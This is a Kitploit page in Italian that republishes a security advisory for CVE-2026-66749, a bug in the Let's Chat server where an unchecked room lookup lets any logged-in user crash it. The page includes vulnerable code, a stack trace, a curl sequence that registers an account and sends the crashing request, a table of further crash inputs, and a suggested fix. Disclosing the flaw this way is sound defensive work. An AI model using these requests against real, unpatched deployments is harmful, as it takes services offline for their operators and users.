Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-66749-Unchecked-Room-Lookup-Leads-to-Server-Crash-Let-s-Chat- — Avviso di sicurezza: la ricerca non controllata delle stanze porta al crash del server (Let's Chat) | Kitploit
Strumenti/GitHubGitHub/theopaid/cve-2026-66749-unchecked-room-lookup-leads-to-server-crash-let-s-chat-
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingApprendimento e Formazione
GitHubtheopaid/cve-2026-66749-unchecked-room-lookup-leads-to-server-crash-let-s-chat-

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-66749-Unchecked-Room-Lookup-Leads-to-Server-Crash-Let-s-Chat-

Avviso di sicurezza: la ricerca non controllata delle stanze porta al crash del server (Let's Chat)

Vedi Repository
23 giorni faNon ancora revisionato

Avviso di sicurezza: la ricerca non controllata di una stanza provoca il crash del server (Let's Chat)

CVE ID assegnato: CVE-2026-66749

Riepilogo

Una singola richiesta HTTP da qualsiasi account autenticato arresta il processo del server Let's Chat.

GET /messages accetta un parametro room, cerca quella stanza per id e poi chiama un metodo sul risultato senza verificare che la ricerca abbia restituito qualcosa. Inviando un id che sia una stringa esadecimale valida di 24 caratteri ma che non appartenga ad alcuna stanza, il TypeError risultante viene lanciato all'interno di una callback di Mongoose. Express intercetta solo le eccezioni sollevate in modo sincrono all'interno di un handler, quindi questa raggiunge Node come eccezione non catturata e il processo termina.

Versioni interessate

URL del repository: https://github.com/sdelements/lets-chat

Vulnerabile dalla 0.4.0 (commit 84981a6, 21 febbraio 2015, che ha introdotto la chiamata canJoin) fino alla 0.4.8, l'ultima release. Non esiste una versione corretta.

Confermato sulla 0.4.8 al commit 617207f e su docker.io/sdelements/lets-chat:latest (0.4.7), che è ancora pubblicamente scaricabile.

Classificazione

CWE-476: Dereferenziazione di puntatore nullo, che porta a CWE-248 Eccezione non catturata e CWE-400 Consumo incontrollato di risorse.

Punteggio base CVSS 4.0: 7.1 (Alto) CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Modello di minaccia

L'attaccante ha bisogno di un normale account utente e dell'accesso di rete alla porta HTTP. Non deve possedere o appartenere ad alcuna stanza, conoscere alcun id di stanza esistente né detenere alcun ruolo elevato.

Il requisito dell'account è debole in un'installazione predefinita, perché auth.local.enableRegistration è impostato su true in defaults.yml; quindi chiunque riesca a raggiungere la pagina di login può creare un account e poi eseguire la richiesta.

Né il Procfile (web: npm start) né docker/docker-compose.yml configurano un supervisore o una policy di riavvio; quindi in una distribuzione standard una singola richiesta mette fuori servizio il servizio finché un operatore non lo riavvia. Nel caso in cui un operatore abbia aggiunto la supervisione dei processi, l'attaccante può semplicemente ripetere la richiesta.

Dettaglio tecnico

La route non registra alcun middleware di validazione della stanza. app/controllers/messages.js:25-32:

root@kitploit:~
app.route('/messages')
    .all(middlewares.requireLogin)
    .get(function(req) {
        req.io.route('messages:list');
    })
    .post(function(req) {
        req.io.route('messages:create');
    });

Si confronti app/controllers/messages.js:34-41, dove la variante con ambito stanza aggiunge middlewares.roomRoute, che risolve la stanza e restituisce 404 quando non esiste:

root@kitploit:~
app.route('/rooms/:room/messages')
    .all(middlewares.requireLogin, middlewares.roomRoute)

Quindi su /messages il valore room raggiunge il manager senza validazione. app/core/messages.js:118-129:

root@kitploit:~
Room.findById(options.room, function(err, room) {
    if (err) {
        console.error(err);
        return cb(err);
    }

    var opts = {
        userId: options.userId,
        password: options.password
    };

    room.canJoin(opts, function(err, canJoin) {   // line 129: room may be null

Model.findById richiama la callback con (null, null) quando l'id viene convertito correttamente ma non corrisponde ad alcun documento. Non c'è alcun controllo if (!room), quindi la riga 129 dereferenzia null.

Output osservato:

root@kitploit:~
events.js:174
      throw er; // Unhandled 'error' event

TypeError: Cannot read property 'canJoin' of null
    at /usr/src/app/app/core/messages.js:129:14
    at model.Query.<anonymous> (/usr/src/app/node_modules/mongoose/lib/model.js:4093:16)

Riproduzione

Contro un'installazione standard sulla porta 5000, senza modifiche di configurazione:

root@kitploit:~
BASE=http://localhost:5000

# 1. Create an account. Self registration is on by default.
curl -s -X POST $BASE/account/register \
  -H 'Content-Type: application/json' \
  -d '{"username":"mallory","email":"[email protected]",
       "password":"Passw0rd!23","password-confirm":"Passw0rd!23",
       "firstName":"M","lastName":"M","displayName":"M"}'

# 2. Log in and keep the session cookie.
curl -s -c cookie.txt -X POST $BASE/account/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"mallory","password":"Passw0rd!23"}'

# 3. Ask for the messages of a room that does not exist.
curl -s -b cookie.txt "$BASE/messages?room=507f1f77bcf86cd799439011"

Il passo 3 non restituisce alcun body e curl termina con il codice 52 (risposta vuota dal server). Il processo del server è terminato. Qualsiasi id di 24 caratteri esadecimali che non corrisponde ad alcuna stanza funziona.

Altre istanze dello stesso difetto

express.oi registra ogni chiave app.io.route(...) come un normale handler socket.on(...) (initRoutes in node_modules/express.oi/lib/index.js). Un client socket.io autenticato può quindi chiamare direttamente questi handler, saltando la catena di middleware Express inclusa roomRoute. Inoltre rimuove il try/catch di Express, quindi un'eccezione sincrona che su HTTP sarebbe un 500 uccide il processo su socket.io.

Anche ciascuno dei seguenti termina il processo. Tutti confermati.

Correzione suggerita

Proteggere le ricerche. In app/core/messages.js:118 e app/core/files.js:156:

root@kitploit:~
Room.findById(options.room, function(err, room) {
    if (err) {
        console.error(err);
        return cb(err);
    }

    if (!room) {
        return cb(null, []);
    }
    ...

app/core/rooms.js:234 necessita dello stesso trattamento prima di chiamare sanitizeRoom, e app/core/rooms.js:248 dovrebbe rifiutare un options.identifier mancante o non stringa.

Due modifiche chiuderebbero l'intera classe di problemi anziché queste singole istanze. In primo luogo, convertire e validare i parametri di query che si presume siano stringhe (expand, room, id, take, skip) al confine del controller. In secondo luogo, avvolgere l'invocazione degli handler socket.io in un try/catch e collegare un handler process.on('uncaughtException'), così una singola richiesta errata degrada a una risposta di errore invece di fermare il server.

Scarica lo strumento
Raggiungibile tramiteInputPunto di lancio
HTTP e socket.iomessages:list, room impostato su un id inesistenteapp/core/messages.js:129
HTTP e socket.iofiles:list, room impostato su un id inesistenteapp/core/files.js:167
socket.iorooms:get con un id inesistente, o senza idapp/core/rooms.js:213 via :234
socket.iorooms:users senza stanzaapp/core/rooms.js:248
socket.iorooms:join senza idapp/core/rooms.js:248
socket.iomessages:list con expand come arrayapp/core/messages.js:97
socket.iofiles:list con expand come arrayapp/core/files.js:139
socket.iousers:get con id come oggettoapp/models/user.js:139